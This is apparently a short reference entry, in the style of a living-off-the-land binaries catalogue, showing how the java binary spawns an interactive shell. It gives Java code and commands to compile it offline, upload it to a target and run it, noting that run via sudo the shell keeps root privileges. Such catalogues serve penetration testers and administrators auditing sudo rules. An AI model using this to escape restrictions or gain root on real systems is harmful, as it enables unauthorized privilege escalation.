Shell

This executable can spawn an interactive system shell.
  1. Comment

    The Shell.class class file can be compiled offline, then uploaded to the target:

    cat >Shell.java <<EOF
    public class Shell {
        public static void main(String[] args) throws Exception {
            new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
        }
    }
    EOF
    
    javac Shell.java
    
    This function can be performed by any unprivileged user.
    java Shell
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    java Shell